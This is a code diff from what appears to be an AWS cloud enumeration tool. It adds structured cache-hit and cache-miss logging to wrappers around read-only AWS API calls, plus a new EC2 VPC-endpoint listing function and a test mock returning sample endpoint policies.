sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codecommit:ListRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListRepositories, err := client.ListRepositories(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/codedeploy"
|
||||
codeDeployTypes "github.com/aws/aws-sdk-go-v2/service/codedeploy/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSCodeDeployClientInterface interface {
|
||||
@@ -34,8 +35,20 @@ func CachedCodeDeployListApplications(client AWSCodeDeployClientInterface, accou
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-ListApplications-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListApplications",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListApplications, err := client.ListApplications(
|
||||
context.TODO(),
|
||||
@@ -70,8 +83,20 @@ func CachedCodeDeployListDeploymentConfigs(client AWSCodeDeployClientInterface,
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-ListDeploymentConfigs-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeploymentConfigs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeploymentConfigs",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDeploymentConfigs, err := client.ListDeploymentConfigs(
|
||||
context.TODO(),
|
||||
@@ -106,8 +131,20 @@ func CachedCodeDeployListDeployments(client AWSCodeDeployClientInterface, accoun
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-ListDeployments-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeployments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:ListDeployments",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListDeployments, err := client.ListDeployments(
|
||||
context.TODO(),
|
||||
@@ -140,8 +177,22 @@ func CachedCodeDeployGetApplication(client AWSCodeDeployClientInterface, account
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-GetApplication-%s-%s", accountID, region, applicationName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetApplication",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"application": applicationName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeDeployTypes.ApplicationInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetApplication",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"application": applicationName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetApplication, err := client.GetApplication(
|
||||
context.TODO(),
|
||||
&codedeploy.GetApplicationInput{
|
||||
@@ -165,8 +216,22 @@ func CachedCodeDeployGetDeploymentConfig(client AWSCodeDeployClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-GetDeploymentConfig-%s-%s", accountID, region, deploymentConfigName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeploymentConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deploymentConfig": deploymentConfigName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeDeployTypes.DeploymentConfigInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeploymentConfig",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deploymentConfig": deploymentConfigName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetDeploymentConfig, err := client.GetDeploymentConfig(
|
||||
context.TODO(),
|
||||
&codedeploy.GetDeploymentConfigInput{
|
||||
@@ -190,8 +255,22 @@ func CachedCodeDeployGetDeployment(client AWSCodeDeployClientInterface, accountI
|
||||
cacheKey := fmt.Sprintf("%s-codedeploy-GetDeployment-%s-%s", accountID, region, deploymentID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeployment",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deployment": deploymentID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(codeDeployTypes.DeploymentInfo), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "codedeploy:GetDeployment",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"deployment": deploymentID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
GetDeployment, err := client.GetDeployment(
|
||||
context.TODO(),
|
||||
&codedeploy.GetDeploymentInput{
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/datapipeline"
|
||||
dataPipelineTypes "github.com/aws/aws-sdk-go-v2/service/datapipeline/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSDataPipelineClientInterface interface {
|
||||
@@ -25,8 +26,20 @@ func CachedDataPipelineListPipelines(client AWSDataPipelineClientInterface, acco
|
||||
cacheKey := fmt.Sprintf("%s-datapipeline-ListPipelines-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "datapipeline:ListPipelines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]dataPipelineTypes.PipelineIdName), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "datapipeline:ListPipelines",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListPipelines, err := client.ListPipelines(
|
||||
context.TODO(),
|
||||
|
||||
+37
-1
@@ -9,8 +9,8 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/docdb"
|
||||
docdbTypes "github.com/aws/aws-sdk-go-v2/service/docdb/types"
|
||||
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type DocDBClientInterface interface {
|
||||
@@ -32,8 +32,20 @@ func CachedDocDBDescribeGlobalClusters(client DocDBClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeGlobalClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeGlobalClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]docdbTypes.GlobalCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeGlobalClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeGlobalClusters, err := client.DescribeGlobalClusters(
|
||||
context.TODO(),
|
||||
@@ -68,8 +80,20 @@ func CachedDocDBDescribeDBClusters(client DocDBClientInterface, accountID string
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]docdbTypes.DBCluster), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBClusters",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBClusters, err := client.DescribeDBClusters(
|
||||
context.TODO(),
|
||||
@@ -110,8 +134,20 @@ func CachedDocDBDescribeDBInstances(client DocDBClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-docdb-DescribeDBInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]docdbTypes.DBInstance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "docdb:DescribeDBInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDBInstances, err := client.DescribeDBInstances(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/service/directoryservice"
|
||||
dsTypes "github.com/aws/aws-sdk-go-v2/service/directoryservice/types"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSDSClientInterface interface {
|
||||
@@ -28,8 +29,20 @@ func CachedDSDescribeDirectories(client AWSDSClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ds-DescribeDirectories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeDirectories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]dsTypes.DirectoryDescription), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeDirectories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDirectories, err := client.DescribeDirectories(
|
||||
context.TODO(),
|
||||
@@ -64,8 +77,22 @@ func CachedDSDescribeTrusts(client AWSDSClientInterface, accountID string, regio
|
||||
cacheKey := fmt.Sprintf("%s-ds-DescribeTrusts-%s-%s", accountID, region, directoryId)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeTrusts",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"directoryId": directoryId,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]dsTypes.Trust), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ds:DescribeTrusts",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"directoryId": directoryId,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeDirectoryTrusts, err := client.DescribeTrusts(
|
||||
context.TODO(),
|
||||
|
||||
@@ -9,6 +9,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/dynamodb"
|
||||
dynamoDBTypes "github.com/aws/aws-sdk-go-v2/service/dynamodb/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type DynamoDBClientInterface interface {
|
||||
@@ -27,8 +28,21 @@ func CachedDynamoDBListTables(client DynamoDBClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-dynamodb-ListTables-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:ListTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]string), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:ListTables",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
ListTables, err := client.ListTables(
|
||||
context.TODO(),
|
||||
@@ -62,9 +76,22 @@ func CachedDynamoDBDescribeTable(client DynamoDBClientInterface, accountID strin
|
||||
cacheKey := fmt.Sprintf("%s-dynamodb-DescribeTable-%s-%s", accountID, region, tableName)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:DescribeTable",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(dynamoDBTypes.TableDescription), nil
|
||||
}
|
||||
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "dynamodb:DescribeTable",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
DescribeTable, err := client.DescribeTable(
|
||||
context.TODO(),
|
||||
&dynamodb.DescribeTableInput{
|
||||
|
||||
+120
-1
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ec2"
|
||||
ec2Types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSEC2ClientInterface interface {
|
||||
@@ -19,6 +20,7 @@ type AWSEC2ClientInterface interface {
|
||||
DescribeVolumes(context.Context, *ec2.DescribeVolumesInput, ...func(*ec2.Options)) (*ec2.DescribeVolumesOutput, error)
|
||||
DescribeImages(context.Context, *ec2.DescribeImagesInput, ...func(*ec2.Options)) (*ec2.DescribeImagesOutput, error)
|
||||
DescribeInstanceAttribute(context.Context, *ec2.DescribeInstanceAttributeInput, ...func(*ec2.Options)) (*ec2.DescribeInstanceAttributeOutput, error)
|
||||
DescribeVpcEndpoints(context.Context, *ec2.DescribeVpcEndpointsInput, ...func(options *ec2.Options)) (*ec2.DescribeVpcEndpointsOutput, error)
|
||||
}
|
||||
|
||||
func init() {
|
||||
@@ -27,7 +29,7 @@ func init() {
|
||||
gob.Register([]ec2Types.Snapshot{})
|
||||
gob.Register([]ec2Types.Volume{})
|
||||
gob.Register([]ec2Types.Image{})
|
||||
|
||||
gob.Register([]ec2Types.VpcEndpoint{})
|
||||
}
|
||||
|
||||
func CachedEC2DescribeInstances(client AWSEC2ClientInterface, accountID string, region string) ([]ec2Types.Instance, error) {
|
||||
@@ -36,8 +38,20 @@ func CachedEC2DescribeInstances(client AWSEC2ClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstances-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Instance), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstances",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeInstances, err := client.DescribeInstances(
|
||||
context.TODO(),
|
||||
@@ -72,8 +86,22 @@ func CachedEC2DescribeInstanceAttributeUserData(client AWSEC2ClientInterface, ac
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeInstanceAttributeUserData-%s-%s", accountID, region, instanceID)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstanceAttribute",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"instance": instanceID,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeInstanceAttribute",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"instance": instanceID,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
DescribeInstanceAttribute, err := client.DescribeInstanceAttribute(
|
||||
context.TODO(),
|
||||
&ec2.DescribeInstanceAttributeInput{
|
||||
@@ -98,8 +126,20 @@ func CachedEC2DescribeNetworkInterfaces(client AWSEC2ClientInterface, accountID
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeNetworkInterfaces-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeNetworkInterfaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.NetworkInterface), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeNetworkInterfaces",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeNetworkInterfaces, err := client.DescribeNetworkInterfaces(
|
||||
context.TODO(),
|
||||
@@ -131,8 +171,20 @@ func CachedEC2DescribeSnapshots(client AWSEC2ClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeSnapshots-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeSnapshots",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Snapshot), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeSnapshots",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeSnapshots, err := client.DescribeSnapshots(
|
||||
context.TODO(),
|
||||
@@ -165,8 +217,20 @@ func CachedEC2DescribeVolumes(client AWSEC2ClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeVolumes-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVolumes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Volume), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVolumes",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeVolumes, err := client.DescribeVolumes(
|
||||
context.TODO(),
|
||||
@@ -198,8 +262,20 @@ func CachedEC2DescribeImages(client AWSEC2ClientInterface, accountID string, reg
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeImages-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.Image), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeImages, err := client.DescribeImages(
|
||||
context.TODO(),
|
||||
@@ -224,5 +300,48 @@ func CachedEC2DescribeImages(client AWSEC2ClientInterface, accountID string, reg
|
||||
|
||||
internal.Cache.Set(cacheKey, Images, cache.DefaultExpiration)
|
||||
return Images, nil
|
||||
}
|
||||
|
||||
func CachedEC2DescribeVpcEndpoints(client AWSEC2ClientInterface, accountID string, region string) ([]ec2Types.VpcEndpoint, error) {
|
||||
var PaginationControl *string
|
||||
var VpcEndpoints []ec2Types.VpcEndpoint
|
||||
cacheKey := fmt.Sprintf("%s-ec2-DescribeVpcEndpoints-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVpcEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ec2Types.VpcEndpoint), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ec2:DescribeVpcEndpoints",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
for {
|
||||
DescribeVpcEndpoints, err := client.DescribeVpcEndpoints(
|
||||
context.TODO(),
|
||||
&(ec2.DescribeVpcEndpointsInput{
|
||||
NextToken: PaginationControl,
|
||||
}),
|
||||
func(o *ec2.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return VpcEndpoints, err
|
||||
}
|
||||
VpcEndpoints = append(VpcEndpoints, DescribeVpcEndpoints.VpcEndpoints...)
|
||||
|
||||
if DescribeVpcEndpoints.NextToken == nil {
|
||||
break
|
||||
}
|
||||
PaginationControl = DescribeVpcEndpoints.NextToken
|
||||
}
|
||||
internal.Cache.Set(cacheKey, VpcEndpoints, cache.DefaultExpiration)
|
||||
return VpcEndpoints, nil
|
||||
}
|
||||
@@ -25,6 +25,7 @@ type MockedEC2Client2 struct {
|
||||
describeSnapshots DescribeSnapshots
|
||||
describeVolumes DescribeVolumes
|
||||
describeImages DescribeImages
|
||||
describeVpcEndpoints DescribeVpcEndpoints
|
||||
}
|
||||
|
||||
type DescribeNetworkInterfaces struct {
|
||||
@@ -271,6 +272,9 @@ type DescribeInstanceAttribute struct {
|
||||
InstanceID string `json:"InstanceId"`
|
||||
}
|
||||
|
||||
type DescribeVpcEndpoints struct {
|
||||
}
|
||||
|
||||
func (c *MockedEC2Client2) DescribeNetworkInterfaces(ctx context.Context, input *ec2.DescribeNetworkInterfacesInput, f ...func(o *ec2.Options)) (*ec2.DescribeNetworkInterfacesOutput, error) {
|
||||
var nics []ec2types.NetworkInterface
|
||||
err := json.Unmarshal(readTestFile(DESCRIBE_NETWORK_INTEFACES_TEST_FILE), &c.describeNetworkInterfaces)
|
||||
@@ -386,3 +390,43 @@ func (c *MockedEC2Client2) DescribeInstanceAttribute(ctx context.Context, input
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *MockedEC2Client2) DescribeVpcEndpoints(ctx context.Context, input *ec2.DescribeVpcEndpointsInput, f ...func(o *ec2.Options)) (*ec2.DescribeVpcEndpointsOutput, error) {
|
||||
return &ec2.DescribeVpcEndpointsOutput{
|
||||
VpcEndpoints: []ec2types.VpcEndpoint{
|
||||
{
|
||||
VpcEndpointId: aws.String("vpce-1234567890abcdefg"),
|
||||
PolicyDocument: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "*",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}`),
|
||||
},
|
||||
{
|
||||
VpcEndpointId: aws.String("vpce-1234567890abcdefh"),
|
||||
PolicyDocument: aws.String(`{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": "*",
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"aws:SourceVpce": "vpce-1234567890abcdefg"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}`),
|
||||
},
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
+41
-3
@@ -11,6 +11,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecr"
|
||||
ecrTypes "github.com/aws/aws-sdk-go-v2/service/ecr/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSECRClientInterface interface {
|
||||
@@ -33,9 +34,20 @@ func CachedECRDescribeRepositories(ECRClient AWSECRClientInterface, accountID st
|
||||
cacheKey := fmt.Sprintf("%s-ecr-DescribeRepositories-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECR repositories data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ecrTypes.Repository), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeRepositories",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeRepositories, err := ECRClient.DescribeRepositories(
|
||||
@@ -73,9 +85,22 @@ func CachedECRDescribeImages(ECRClient AWSECRClientInterface, accountID string,
|
||||
cacheKey := fmt.Sprintf("%s-ecr-DescribeImages-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached Images data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.([]ecrTypes.ImageDetail), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:DescribeImages",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
for {
|
||||
DescribeImages, err := ECRClient.DescribeImages(
|
||||
@@ -113,9 +138,22 @@ func CachedECRGetRepositoryPolicy(ECRClient AWSECRClientInterface, accountID str
|
||||
cacheKey := fmt.Sprintf("%s-ecr-GetRepositoryPolicy-%s-%s", accountID, region, strings.ReplaceAll(repositoryName, "/", "-"))
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECR repository policy data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:GetRepositoryPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "hit",
|
||||
}).Info("AWS API call")
|
||||
return cached.(string), nil
|
||||
}
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecr:GetRepositoryPolicy",
|
||||
"account": accountID,
|
||||
"region": region,
|
||||
"repository": repositoryName,
|
||||
"cache": "miss",
|
||||
}).Info("AWS API call")
|
||||
|
||||
GetRepositoryPolicy, err := ECRClient.GetRepositoryPolicy(
|
||||
context.TODO(),
|
||||
|
||||
+69
-5
@@ -10,6 +10,7 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/service/ecs"
|
||||
ecsTypes "github.com/aws/aws-sdk-go-v2/service/ecs/types"
|
||||
"github.com/patrickmn/go-cache"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type AWSECSClientInterface interface {
|
||||
@@ -34,9 +35,20 @@ func CachedECSListClusters(ECSClient AWSECSClientInterface, accountID string, re
|
||||
cacheKey := fmt.Sprintf("%s-ecs-ListClusters-%s", accountID, region)
|
||||
cached, found := internal.Cache.Get(cacheKey)
|
||||
if found {
|
||||
sharedLogger.Debug("Using cached ECS clusters data")
|
||||
sharedLogger.WithFields(logrus.Fields{
|
||||
"api": "ecs:ListClusters",
|
||||
"account": accountID,
|
